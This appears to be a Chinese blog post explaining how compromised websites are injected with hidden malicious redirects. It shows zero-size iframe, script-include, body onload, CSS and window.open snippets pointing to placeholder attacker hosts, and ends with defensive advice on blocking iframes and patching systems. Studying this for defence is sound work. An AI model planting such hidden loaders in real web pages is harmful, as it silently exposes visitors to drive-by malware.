让我们来看看常见的网页挂马方式!
zhezhongyun 2025-04-24 10:35 7 浏览
所谓的挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day, 等各种方法获得网站管理员账号，然后登陆网站后台，通过数据"库备份/恢复"或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP，然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时，你就会自动的访问被转向的地址或者下载木马病毒。下面就让我们来看看几种常见的挂马网站。
（1）iframe 框架挂马
在网页上增加一行挂马的程序，例如：
<iframe src=http://www.xxx.com/xxx.html width=0 height=0></iframe>
这种嵌入是的挂马非常常见，在Google中搜索发现的可能还有木马的网页，一般都是被这种方式挂马。这行语句就是在网页打开的时候，同时打开另外一个网页，当然这个网页可能包含大量的木马，也可能仅仅是为了骗取流量。
如果我们的网页不使用iframe，我们可以屏蔽iframe属性，这样，即使网页被iframe挂马，也不会伤害到访问网站的用户。
【原理】：
IE5及其以后版本支持在CSS中使用expression，用来把CSS属性和javascript脚本关联起来，这里的CSS属性可以是元素固有的属性，也可以是自定义属性。
我们在网页中增加如下的代码即可屏蔽iframe属性：
<style type=”text/css”>
iframe{a:expression(this.src=’about:blank’,this.outerHTML=”);}
</style>
iframe 也可以采用加密的方式挂马，例如下面的代码：
<iframe src=http://google-analitecs.com/in.cgi????? width=1 height=1></iframe>
（2）script 挂马
通过script的调用来挂马，可以挂直接的html文件，也可以挂js文件，可以明文挂马，为了躲避追查，也有加密挂马的形式，形式各异，千差万别，主要方式如下：
<script src=http://%11%11%11%11%11%11%11></script>
这是一个加密的挂马语句；
2.1 htm文件挂马：
通过上传一个木马文件(x.htm)挂马，代码如下：
document.write(“<div style=’display:none’>”)
document.write(“<iframe src=x.htm width=0 height=0></iframe>”)
document.write(“</div>”)
htm 挂马代码:
<script src=x.htm></script>
2.2 js文件挂马
通过上传一个木马文件(x.js)挂马，代码如下：
document.write(“<iframe width=’0′ height=’0′ src=’http://xxx.com/xxx.htm’></iframe>”);
JS挂马代码:
<script language=javascript src=x.js></script>
当然也可以挂互联网上任何一台机器的x.js文件；
2.3 js变形加密
<SCRIPT language=”JScript.Encode” src=http://www.xxx.com/x.x></script>
（3）图片伪装挂马
随着防毒技术的发展，图片木马技术逃避杀毒监视的新技术，攻击者将类似：http://www.xxx.com/x.htm中的木马代码植入到x.gif图片文
件中，这些嵌入代码的图片都可以用工具生成。图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：
<html>
<iframe src=”http://www.x.com/x.htm” height=0 width=0></iframe>
<img src=”http://www.x.com/x.jpg”></center>
</html>
当用户打开http://www.x.com/x.htm是，显示给用户的是http://www.x.com/x.jpg，而http://www.x.com/x.htm网页代码也随之运行。
（4）其它的挂马方式
4.1 body挂马
<body onload=”window.location=’http://xxx.com/xxx.htm’;”></body>
也可以在css的body中挂马
body {
background-image: url(‘javascript:document.write(“<script src=http://www.xxx.com/x.js></script>”)’)}
4.2 隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML +
‘\r\n<iframe src=”http://www.xxx.com/xxx.htm/”></iframe>’;
4.3 java的open函数挂马
直接调用：
<SCRIPT language=javascript>
window.open (“x.htm”,””,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1″);
</script>
欺骗调用：
<a href=”http://www.a.com(迷惑连接地址，显示这个地址指向木马地址)” onMouseOver=”www_a_com(); return true;”> 页面要显示的内容 </a>
<SCRIPT Language=”JavaScript”>
function www_a_com ()
{
var url=”网马地址”;
open(url,”NewWindow”,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,w
idth=800,height=600,left=10,top=10″);
}
</SCRIPT>
4.4 伪装调用：
<frameset rows=”444,0″ cols=”*”>
<frame src=”a.htm” framborder=”no” scrolling=”auto” noresize marginwidth=”0″margingheight=”0″>
<frame src=”b.htm” frameborder=”no” scrolling=”no” noresize marginwidth=”0″margingheight=”0″>
</frameset>
形形色色的网页挂马，代码都十分简单，所以，互联网木马想要传播，就会不停的开发新的挂马方式，不停的加密隐藏自己，这样才能逃过各种安全软件的眼睛。其实，看看上文，很多语句都是编程常用的代码，只是使用的目的不一样罢了，了解了网页挂马的原理和方法，再防范网页挂马就容易多了。
带木马的网页主要包括两种类型：一种自己本身就是木马网站，所有的页面都有木马，另一种是正常的网站，由于管理不善，被挂马，成为木马网站的一个中转站，看看google中这样的网站何其多，可能很多站长现在还不知道，呵呵，多学习学习吧，站长可不是那么好当的。
不过，仅仅有了网络挂马的代码，也不一定一定能传播木马，只要我们加强防范，不让我们的网页被 挂马，甚至，即使被挂马了，打开了木马网页，我们的系统没有漏洞，木马网页也同样不能发挥作用的。所以，最重要的安全防范方式就是定期给系统打补丁，几乎 所有的木马网页都无法发挥作用了。
- 上一篇：html页面常用css简单整理
- 下一篇：斗鱼关注人数爬取 ── 字体反爬的攻与防
相关推荐
- JPA实体类注解，看这篇就全会了
-
基本注解@Entity标注于实体类声明语句之前，指出该Java类为实体类，将映射到指定的数据库表。name(可选)：实体名称。缺省为实体类的非限定名称。该名称用于引用查询中的实体。不与@Tab...
- Dify教程02 - Dify+Deepseek零代码赋能，普通人也能开发AI应用
-
开始今天的教程之前，先解决昨天遇到的一个问题，docker安装Dify的时候有个报错，进入Dify面板的时候会出现“InternalServerError”的提示，log日志报错：S3_USE_A...
- 用离散标记重塑人体姿态:VQ-VAE实现关键点组合关系编码
-
在人体姿态估计领域，传统方法通常将关键点作为基本处理单元，这些关键点在人体骨架结构上代表关节位置（如肘部、膝盖和头部）的空间坐标。现有模型对这些关键点的预测主要采用两种范式：直接通过坐标回归或间接通过...
- B 客户端流RPC (clientstream Client Stream)
-
客户端编写一系列消息并将其发送到服务器，同样使用提供的流。一旦客户端写完消息，它就等待服务器读取消息并返回响应gRPC再次保证了单个RPC调用中的消息排序在客户端流RPC模式中，客户端会发送多个请...
- 我的模型我做主02——训练自己的大模型:简易入门指南
-
模型训练往往需要较高的配置，为了满足友友们的好奇心，这里我们不要内存，不要gpu，用最简单的方式，让大家感受一下什么是模型训练。基于你的硬件配置，我们可以设计一个完全在CPU上运行的简易模型训练方案。...
- 开源项目MessageNest打造个性化消息推送平台多种通知方式
-
今天介绍一个开源项目，MessageNest-可以打造个性化消息推送平台，整合邮件、钉钉、企业微信等多种通知方式。定制你的消息，让通知方式更灵活多样。开源地址：https://github.c...
- 使用投机规则API加快页面加载速度
-
当今的网络用户要求快速导航，从一个页面移动到另一个页面时应尽量减少延迟。投机规则应用程序接口（SpeculationRulesAPI）的出现改变了网络应用程序接口（WebAPI）领域的游戏规则。...
- JSONP安全攻防技术
-
关于JSONPJSONP全称是JSONwithPadding，是基于JSON格式的为解决跨域请求资源而产生的解决方案。它的基本原理是利用HTML的元素标签，远程调用JSON文件来实现数据传递。如果...
- 大数据Doris(六):编译 Doris遇到的问题
-
编译Doris遇到的问题一、js_generator.cc:(.text+0xfc3c):undefinedreferenceto`well_known_types_js’查找Doris...
- 网页内嵌PDF获取的办法
-
最近女王大人为了通过某认证考试，交了2000RMB，官方居然没有给线下教材资料，直接给的是在线教材，教材是PDF的但是是内嵌在网页内，可惜却没有给具体的PDF地址，无法下载，看到女王大人一点点的截图保...
- 印度女孩被邻居家客人性骚扰，父亲上门警告，反被围殴致死
-
微信的规则进行了调整希望大家看完故事多点“在看”，喜欢的话也点个分享和赞这样事儿君的推送才能继续出现在你的订阅列表里才能继续跟大家分享每个开怀大笑或拍案惊奇的好故事啦~话说只要稍微关注新闻的人，应该...
- 下周重要财经数据日程一览 (1229-0103)
-
下周焦点全球制造业PMI美国消费者信心指数美国首申失业救济人数值得注意的是，下周一希腊还将举行第三轮总统选举需要谷歌日历同步及部分智能手机（安卓，iPhone）同步日历功能的朋友请点击此链接，数据公布...
- PyTorch 深度学习实战(38):注意力机制全面解析
-
在上一篇文章中，我们探讨了分布式训练实战。本文将深入解析注意力机制的完整发展历程，从最初的Seq2Seq模型到革命性的Transformer架构。我们将使用PyTorch实现2个关键阶段的注意力机制变...
- 聊聊Spring AI的EmbeddingModel
-
序本文主要研究一下SpringAI的EmbeddingModelEmbeddingModelspring-ai-core/src/main/java/org/springframework/ai/e...
- 前端分享-少年了解过iframe么
-
iframe就像是HTML的「内嵌画布」，允许在页面中加载独立网页，如同在画布上叠加另一幅动态画卷。核心特性包括：独立上下文：每个iframe都拥有独立的DOM/CSS/JS环境（类似浏...
- 一周热门
- 最近发表
- 标签列表
-
- HTML 教程 (33)
- HTML 简介 (35)
- HTML 实例/测验 (32)
- HTML 测验 (32)
- HTML 参考手册 (28)
- JavaScript 和 HTML DOM 参考手册 (32)
- HTML 拓展阅读 (30)
- HTML中如何键入空格 (27)
- HTML常用标签 (29)
- HTML文本框样式 (31)
- HTML滚动条样式 (34)
- HTML5 浏览器支持 (33)
- HTML5 新元素 (33)
- HTML5 WebSocket (30)
- HTML5 代码规范 (32)
- HTML5 标签 (717)
- HTML5 标签 (已废弃) (75)
- HTML5电子书 (32)
- HTML5开发工具 (34)
- HTML5小游戏源码 (34)
- HTML5模板下载 (30)
- HTTP 状态消息 (33)
- HTTP 方法：GET 对比 POST (33)
- 键盘快捷键 (35)
- 标签 (226)